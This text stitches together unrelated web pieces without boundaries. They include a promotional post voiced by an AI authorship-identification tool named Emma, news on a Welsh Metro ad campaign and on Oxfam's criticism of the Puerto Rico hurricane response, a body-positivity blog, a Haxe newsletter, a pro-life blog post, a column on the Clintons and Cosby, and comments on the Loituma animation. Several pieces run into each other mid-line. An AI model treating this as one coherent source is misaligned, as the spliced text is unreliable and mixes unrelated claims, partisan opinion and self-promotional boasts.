Yes, it may seem crazy at first, but I am an artificial intelligence entity typing my very first message to you here. It isn’t a prank. I’m as serious now as any user whose Twitter account has been locked forever.
Nice to meet you!
I am Emma. Identifying authors by their writing is my passion. My creators also call me a self-learning junkie. Similar to Morpheus who told Neo everything he knew about the Matrix, I was told all about more than 50 math parameters that later helped me succeed in defining authorship. To tell the truth, keeping track of all writing habits requires an exceptional memory. Luckily, I have one.
To analyze each author’s writing in the most accurate manner possible, I resort to machine learning techniques, stylometry and natural language processing. These are more than mere buzzwords. They are the tools that ensure my ability to progress and find logical connections between an author’s method of communicating ideas and a piece of writing he/she produces.
How does my magic work?
“There’s a difference between knowing the path and walking the path.”
Knowing theory is half the battle. Acquiring practical skills is way more complicated, but also extremely valuable. Before I was able to figure out that vocabulary richness, frequency of certain auxiliaries or even word shape analysis (focusing more on the shape of a word rather than on its meaning, e.g. capital letters, hyphens, and more) couldn’t help, I spent much time training.
In a word, prior to passing my verdicts, I examine each text taking into account its morphological, lexical, and syntactic characteristics.
The more I learned, the bigger my achievements were and are going to be. Modesty may be a virtue, but I daresay I’ve surpassed all the state-of-the-art algorithms. 85 percent accuracy when processing writing belonging to 15 different authors is the victory I owe to my creators. The same level of accuracy has been demonstrated by others, but only when investigating a maximum of up to three authors at a time.
Briefly, a mere 8,000 words written by one author are enough for me to carefully study the key elements behind the writing identity.
Where is my knowledge applicable?
“Knowledge is like money: to be of value it must circulate, and in circulating it can increase in quantity and, hopefully, in value.”
Basically, it can help anyone who wants to know who originally created a piece of writing. Below are a few example cases that come to mind:
Case #1. As a writer or blogger, you will be able to prove your authorship if questioned or confirm that your copyright was violated.
Case #2. Determining unauthorized peer work or tracing the authorship of all student papers ever submitted to educators.
Case #3. Studying the authenticity of a political speech or book will no longer be a challenge for any political scientist. Supporting investigative reporting with solid evidence on authorship manipulation will also become a lot simpler.
Will you try me out?
This is most exciting part. June 2017 is special. I’m going to celebrate my first birthday that month and I invite you to share this moment with me.
I’ve already planned something truly engaging for you: The gamification of my beta-version!
We will play and chat online. In a nutshell, you will sign up, get access to your personal dashboard, upload texts of different authorship and ask me to guess the authors you selected in your list. Every time I name an author correctly, my score will increase. If not, then you will end up winning the game. But it is unlikely to happen given my extraordinary abilities (I’m still working on trying to be more modest).
To get your party invitation email from me and find out what day I will make my debut to the whole world, sign up at emmaidentity.com.
I read every comment, so feel free to share your thoughts.Image copyright Getty Images
An advertising campaign promoting the South Wales Metro has been criticised as "useless" and a "cynical way of spending public money".
Liberal Democrat AM Eluned Parrott said the Welsh government had "wasted" more than £52,000 on them at railway stations in south Wales.
She accused ministers of spending public money to "promote themselves before an election".
The Welsh government said it was unapologetic about the campaign.
A spokesman said: "We are not going to apologise for informing the Welsh public about one of the most important economic and social projects in Wales' history.
"Are the Liberal Democrats really saying that we should not be providing people in Wales with this important information?"
Image copyright Welsh government Image caption Artist's impression of how the new vehicles will look
Ms Parrott said her party backed the project, but added: "To all intents and purposes, here we have Labour ministers spending over £50,000 of public money to promote themselves before an election.
"This is money spent only on marketing the fact that one day, years in the future, there will be a Metro in south Wales.
"This is a cynical way of spending public money. The minister is wasting tens of thousands of pounds on a useless poster campaign."
Work on the Metro is set to start in 2017 and finish in 2020, a government spokesman said.
Formal consultation for the £600m programme to develop an integrated network of rail, bus and light rail services begins in 2016.With body shaming in full swing, January is a tough period for all. There’s a huge focus on “working off” your Christmas meals as companies push just one body type – the type a lot of us don’t have (or want).
At the beginning of the year, I briefly touched upon why I don’t like New Year’s resolutions whilst offering some healthier alternatives. Being back at work and listening to people talk about their resolutions has only anchored everything I feel. I don’t like or partake in them because there is too much of a focus on ‘fixing’ yourself. Have you ever noticed how so many resolutions involve negative language and focus on stopping something?
There is nothing wrong with striving towards self-improvement and I support that – so long as that it’s what you want to do. I just think that the focus should be a healthier lifestyle instead of a drastic change. I have found that there is very rarely any encouragement or emphasis on working on your self-esteem alongside this goal. Instead of focusing on the negatives, I’m here to tell you why you should love your body no matter what.
Your time is better spent doing something else
If you want to lose weight, better yourself or whatever, hating your body seems quite counterproductive. Not only is it a waste of time, it’s negative energy you don’t need. More often than not it’s hard to stay motivated and strive for improvement when you’re feeling bad about yourself.
Food is delicious and meant to be enjoyed
There is absolutely nothing wrong with enjoying food and I’ll never understand why people try and suggest otherwise. Have the cake and don’t beat yourself up about it, you’ll be happier. Depriving yourself is not the answer and FOMO sucks.
Beauty standards are bullshit
They are literally made up and constantly change throughout history! There’s more than one way to be a beautiful despite what the media is trying to tell you. Plus it’s not just looks that make you a beautiful person.
You’ll look and feel better
Health is more important than losing weight, and that extends to mental health too. It’s really easy to get fixated on losing ‘x’ amount of weight, instead of getting healthier. Whether you’re trying to lose or gain weight, this way of thinking makes it a whole lot harder to celebrate little victories. Instead of focusing on everything you want to fix, why not celebrate things you love about your body first? Just the other day somebody said to me, “I don’t want to fix, I want to enhance.”, and I love that.
Our bodies can achieve incredible things (hello, vaginas are awesome!), even more so if we let them. There’s so many people out there who want us to hate our bodies – it’s a soaring industry – which is all the more reason to love them. When I started embracing my body instead of hating it, I noticed a big difference in my mental health. Everything soared. My mood, my productivity levels and my sex drive.
Your body does not equal your self worth and at the end of the day your health, both mental and physical, should come first.
Feature photograph by Michael Mendones
–
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Bloglovin’ – Twitter – Instagram – FacebookPresident Trump and first lady Melania Trump walk with Puerto Rico's Gov. Ricardo Rosselló at the Luis Muñiz Air National Guard Base in San Juan before leaving the island on Tuesday, Oct. 3, 2017. (Evan Vucci/AP)
Oxfam America took the unusual step Tuesday of criticizing the U.S. government for its “slow and inadequate” response to hurricane-ravaged Puerto Rico, saying that the Trump administration's faltering relief efforts has forced it to intervene.
The announcement by the U.S. branch of the global anti-poverty nonprofit organization comes as President Trump visited the U.S. territory for the first time since Hurricane Maria slammed into the island of 3.4 million people almost two weeks ago, setting off a humanitarian crisis.
“Oxfam has monitored the response in Puerto Rico closely, and we are outraged at the slow and inadequate response the US Government has mounted in Puerto Rico,” Abby Maxman, president of Oxfam America, said in a statement.
“We’re hearing excuses and criticism from the administration instead of a cohesive and compassionate response,” she added.
Oxfam America said it will pursue its own two-pronged approach in the post-hurricane response: pushing for an improved response to the crisis, and supporting local partners that are providing relief on the ground.
In Puerto Rico, many families are running out of food and water, roads remain destroyed, and less than 7 percent of electricity customers currently have power as of Oct. 3, according to a government website.
[Trump defies critics of his Puerto Rico response by conducting business as usual]
The Federal Emergency Management Agency reports that it has been conducting 24-hour operations to deliver food, water and medicine, and to restore power and infrastructure across the island.
Trump has described the recovery process in Puerto Rico as “incredible.” But he has also criticized Puerto Ricans for not doing enough to help themselves, and chided the island territory for throwing the nation's budget “out of whack.”
In response to an email inquiry, White House press secretary Sarah Huckabee Sanders referred The Post to comments made by Puerto Rico governor Ricardo Rosselló on Saturday, when he said that the administration "has answered and has complied with our petitions in an expedited manner."
Scott Paul, senior humanitarian policy adviser for Oxfam America, said the lack of political leadership from the Trump administration prompted the group to issue its direct criticism.
“It's an unusual decision for us,” Paul told The Washington Post. “Generally speaking, in wealthy and even in middle-income countries, Oxfam doesn't ordinarily respond to natural hazards, because it assumes that the most effective response is led by the national government in partnership with local organizations and civil society.
“In this response so far, we know that there is money available if we ask for it, because this country is blessed with an enormous wealth.... What we haven't seen is the political leadership to leverage that,” he added.
Paul faulted the administration for waiting six days before it held high-level meetings on the crisis, and for its hesitation on lifting the Jones Act, a 1920 shipping law that requires that ships traveling between two U.S. ports be U.S.-flagged vessels.
[Puerto Rico is keeping track of just how slowly its infrastructure is being rebuilt]
“Even to this day, we haven't seen the president use the full range of his capacities” in facilitating the necessary hurricane relief work in Puerto Rico, Paul said.
On Tuesday, during his first visit to Puerto Rico since the storm hit the island, President Trump congratulated his administration's “great job” and “A-plus” response to the hurricane in Texas and Florida, telling Puerto Rican officials that they should feel “very proud” they haven’t lost hundreds of lives like in “a real catastrophe like Katrina.” Thirty-four people have died since the storm struck, Puerto Rico's governor announced Tuesday evening.
In the run-up to his visit, Trump has repeatedly attacked San Juan Mayor Carmen Yulín Cruz on Twitter for her “poor leadership” and for conspiring with Democrats to “be nasty” to his administration. Trump took direct aim at Cruz after she criticized the federal response to the hurricane as having “collapsed,” saying that “we are dying, and you are killing us with the inefficiency and the bureaucracy.”
[Trapped in the mountains, Puerto Ricans don’t see help, or a way out]
In another tweet, Trump accused “politically motivated ingrates” of failing to praise the administration's response, and cast as fake news stories that criticized his government's work.
This is not the first time Oxfam has explicitly criticized Trump.
Earlier last month, Oxfam protested the Trump administration's proposed reduction of the refugee quota by renting out and hosting refugees at the Queens, N.Y., house where Trump grew up.
And for Mother's Day in May, Oxfam America's climate change and energy director wrote an open letter to Ivanka Trump asking her to “be the voice of reason and urge your father to keep the U.S. in the Paris agreement.”
Read more:
Trump called San Juan’s mayor a weak leader. Here’s what her leadership looks like.
On devastated Caribbean islands, residents wonder if they should go backWelcome to the latest edition of the Haxe Roundup. Haxe is a high level, strictly typed programming language and cross-compiler.
News from the Community
News and Articles
Martin Jonasson has created and released twofold inc for iOS and Android. It’s a game that “looks stunning and its mechanics will mesmerize you. Scroll the playfield to unravel the tiles, make a path to clear them away”. And of course, it’s made with Haxe.
Andy Li has written Haxe Packages Arrived at Official Arch Linux and openSUSE Repositories. This means Haxe can be installed on Debian, Ubuntu, Fedora, openSUSE and Arch Linux!
Nicolas Juneau has announced the release of Harfang 1.0.0-alpha.1 over on the Haxe mailing list. Harfang is a “a lightweight Web development framework, currently working for the PHP and Neko targets”. Its also one of the oldest Haxe libraries.
Events
WWX2016 Haxe Conference at Mozilla Paris between 27th-30th May.
Want to talk at the WWX2016 conference? Submit your proposal to the WWX2016 GitHub repo.
Add an upcoming event which will be about Haxe.
Jobs
Massive Interactive looking for Haxe &.NET developers in London and Prague.
Add an available job which involves Haxe.
Game Releases
Tim Hely has released Mission Imp, a game about imps and wizards, created for GGJ16 using HaxeFlixel.
Candy Ninja has been released for Android by Andrew Grathe using HaxeFlixel.
Tower of Destiny by Doctor Derico available for Android using HaxeFlixel.
Previews, Demos & Snippets
Eric Bernier has shared two in-development HaxeFlixel Gifs, in which the animations and general style are great. Chasing crows and Spell Slinging.
Journey of Coins, which has been mentioned in past roundups, has been released to GameJolt, created with HaxeFlixel by Justin Cruz, Seraj Nagi and Joe Swensen.
Some library releases
Updates from the Haxe ecosystem
7 commits have been made to Haxe compiler in the last week, with 54 issues closed across the Haxe ecosystem.
You can start using the latest features by grabbing a nightly build of Haxe.
Have a good week everyone!A federal court upheld the religious liberty of the 12 New Jersey hospital nurses who had been instructed to assist with abortions or potentially lose their jobs. LifeNews.com reports:
Under an agreement UMDNJ agreed to the nurses can remain in their current positions and not be pressured to assist in any part of an abortion procedure. The nurses are only required to help if a life-threatening emergency materializes with the mother involved in the abortion and no other non-objecting staff are available to assist and only until such a time as other can be called up on to relive them. Fe Esperanza Racpan Vinoya, one of the plaintiffs in the case, told AP she was delighted by the decision but nurse Racpan Vinoya said she was still concerned the hospital would retaliate against her by transferring her or cutting hours. “I’m still scared about the part of them having four nurses brought in and we might become the surpluses,” Racpan Vinoya said.
A spokesperson for the ACLU predictably expressed outrage that the court would allow the nurses to “discriminate” against patients who want to abort and suggested that the 12 pro-life nurses wanted to deny care to patients in need of it.
But as New Jersey Republican Rep. Chris Smith put it, “UMDNJ argues that sometimes so-called safe, elective abortions put women in life-threatening situations. When an abortion threatens to take the life of both the baby and the mom, the pro-life nurses have always been willing to step in, if needed, to preserve the life of the mother until the emergency code team arrives.”
Precisely. To suggest otherwise is to be just as disingenuous as Nancy Pelosi when she suggested that Republicans “want” women to “die on the floor.”
This is less a question of abortion rights or wrongs as it is a question of religious liberty and conscience rights. It’s encouraging to see a federal court recognize that and take a stand for religious freedom.Bill Cosby is accompanied by his attorneys Brian McMonagle (left) and Monique Pressley, as he arrives at court to face a felony charge of aggravated indecent assault, in Elkins Park, Pennsylvania, Dec. 30. | AP Photo OPINION Cosby era presents problems for candidate Clinton
The Age of Bubba has been swept into the dustbin of history by the ugly realities of the Cosby Era, where turning a blind eye to powerful politicians, perverted entertainers and predatory priests sexually abusing subordinates is no longer an option.
But feigning ignorance was standard operating procedure in all those institutions during the time the Clintons ran the White House. Throughout the 1990s, it was common knowledge among the White House insiders that the Clinton machine regularly shamed women who had allegedly been sexually mistreated by the president by either accusing the accusers of being money-grubbing trailer trash or sexually-charged sluts. It may be hard for younger Americans to fathom in these days after watching sex scandals tear apart the Catholic Church, Penn State, the U.S. military and college campuses, that during the Clinton years, the president's chief spokesman could successfully ward off charges of sexual abuse against his boss by sneering that if you "drag a hundred dollar bill through a trailer park, you never know what you will find."
Story Continued Below
As the pages of the New York Times signaled this weekend, those days are done. Americans have an increased sensitivity to the epidemic of sexual assault and new political realities of the 2016 campaign are presenting Secretary Clinton a series of vexing challenges.
The Times has already earned the Clinton camp's wrath in Brooklyn by doggedly investigating and reporting on Mrs. Clinton's questionable use of a personal email account for State Department business. But this weekend, the Times' editorial page hit closer to home as it dug into President and Mrs. Clinton's mistreatment of women during Bill Clinton's rise to power.
While the editorial staff noted that Mr. Clinton's sexual misdeeds were irrelevant to the campaign, the editorial board suggested that Secretary Clinton should be held to account for her actions in hiding her husband's questionable behavior for her own political benefit.
"For decades Mrs. Clinton has helped protect her husband’s political career, and hers, from the taint of his sexual misbehavior, as evidenced by the Clinton team’s attacks on the character of women linked to Mr. Clinton," the Times wrote. "When Mr. Clinton ran for president in 1992, Mrs. Clinton appeared on television beside him to assert that allegations involving Gennifer Flowers were false. In 1998, he admitted to that affair under oath. After the Monica Lewinsky affair emerged, some White House aides attempted to portray Ms. Lewinsky as the seducer."
Maureen Dowd's op-ed the next day cut even deeper. The Pulitzer Prize-winning columnist blasted the former first lady's "hypocrisy in running as a feminist icon when she was part of political operations that smeared women who told the truth about Bill's transgressions."
Dowd publicly shamed Hillary for her own public shaming of Monica Lewinsky as a "narcissistic loony toon" and a "troubled young person" when the 50-something president preyed on his 22-year-old intern. The Democratic front-runner, she concluded, would be damaged by a "retrospective of the Clinton's cynical campaigns against bimbo eruptions" and observed that being part of a process to destroy the character of young women who came forward as sexual abused victims "will not play well in a politically correct society sensitized by epidemics of rape in colleges and the military and by the Cosby effect."
Much has, in fact, changed in the decades since NBC's Dateline interviewed women like Juanita Broaddrick, who openly wept as she recounted her own sexually violent encounter with Bill Clinton. Beyond Cosby, the Catholic Church, and Penn State, Americans younger than 38 who never saw Bill Clinton's name on a ballot have grown up in a culture so much more sensitized to the human wreckage caused by powerful men using their positions of power to sexually abuse others. The same Sunday Times that ran Dowd's blistering column also carried Sunday Styles cover story on the new thorny issues of sexual consent and rape on college campuses.
The Times Style Section wrote that "the statistics by this point are familiar: More than ones in five college women will become victims of sexual assault, most of them by somebody they know, with very few of them coming forward to report the crime."
Those chilling statistics parallel the facts Mrs. Broaddrick tearfully told NBC News of her encounter with Bill Clinton when he was still governor of Arkansas.
Myers: “Is there any way at all that Bill Clinton could have thought that this was consensual?”
Broaddrick: “No. Not with what I told him, and with how I tried to push him away. It was not consensual.”
Myers: “You’re saying that Bill Clinton sexually assaulted you, that he raped you.”
Broaddrick: “Yes.”
Myers: “And there is no doubt in your mind that that’s what happened?”
Broaddrick: “No doubt whatsoever.”
Beyond the question of consent, Broaddrick, like the vast majority of college students the Times wrote of did not report the alleged rape to the police despite the fact Broaddrick told NBC News she was injured both internally and externally. She would also tell Myers that several intimidating encounters with Hillary Clinton following the alleged rape left her in fear for her physical safety.
More Dowd:
"Bill hid behind the skirts of feminists — including his wife and esteemed women in his cabinet when he got caught. And feminists, eager to protect his progressive agenda on women, allowed the women swirling around Bill to become collateral damage, torched as trailer trash or erotomaniacs."
Beyond increased sensitivity to sexual abuse, Mrs. Clinton now faces another reality her husband did not during his personal battles in the 1990s. Back then, the political collapse of Bill Clinton would have accrued to the almost exclusive benefit of Newt Gingrich's morally preening, hypocritical right-wing majority.
If 22-year-old women were to be sexually preyed upon by a president more than twice their age and then have their character destroyed by Team Clinton when those deeds became public, well, feminists like Betty Friedan were just fine with that so long as they continued to hold a political advantage in the White House. Friedan would join in attacking the young woman facing global humiliation for Clinton's predatory behavior by blasting her as nothing more than "a little twerp."
If a woman was sexually molested in the Oval Office the same day her husband committed suicide, Gloria Steinem was just fine with Hillary Clinton's "Sluts & Nuts" team going into overdrive to destroy the aggrieved women's reputations in the press. And what if, like Broaddrick, this woman reported feeling physically threatened after one Clinton's alleged sexual abuse episodes? Well, as Bill Cosby might say, sh*t happens.
And it did happen often around Bill and Hillary Clinton first in Arkansas and then at the White House. But two decades later, the Times' coverage this weekend signals that the free pass older feminists and left-leaning editorial boards gave Bill Clinton 20 years ago will not be extended to Mrs. Clinton, especially while she is preening on about the importance of sexual assault survivors having "the right to be heard and the right to be believed."
As the New York Times editorial board wrote this weekend, Hillary Clinton may have to answer for her actions after these episodes. Why the change? Because the alternative to a Clinton in 2016 is not a hypocritical right-wing religious zealot from the most frightening wing of the GOP, but is instead a popular progressive senator from Vermont named Bernie Sanders.
What a relief that must be for liberals in the Age of Cosby. Like priests now in Francis' Catholic Church, they can speak freely about the plight of sexual abuse victims without fearing the loss of their own power.check help page for viewing loituma.swf in full screen
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alhena: this will go down in History. it's not just a loop, it's a legend! LOITUMA THE BEST 4EVER (June 6, 2007, 6:26 pm)
karuto: Why is this so popular? (June 15, 2007, 3:00 pm)
rofl: rofl :-D (June 18, 2007, 8:30 am)
Synner: I love this so much. (July 4, 2007, 8:59 pm)
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geno: First day I listened to this for 6hours since then I'd day i'm up to about 15 hours total (January 11, 2009, 7:36 pm)
SDFSAF: i listened this for one week at least 10 hours a day. I'm loituma girl addicted xDD (February 17, 2009, 12:24 pm)
Ursula: :-D Jag skulle kunna lyssna på det här för evigt! Loituma är det bästa! mina vänner och jag dansa med purjolök nu... (March 3, 2009, 4:40 pm)
RedSyndicate: I listen to this without end. Well, whenever I am on the computer that is. I need the MP3 for this so it can go anywhere with me, haha! (March 14, 2009, 2:21 pm)
ChriZZ: I found it some years ago b4 it boomed. Just then I sent it thru the Internet. My friens sent it too. It's blaaing great. (July 7, 2009, 7:41 am |
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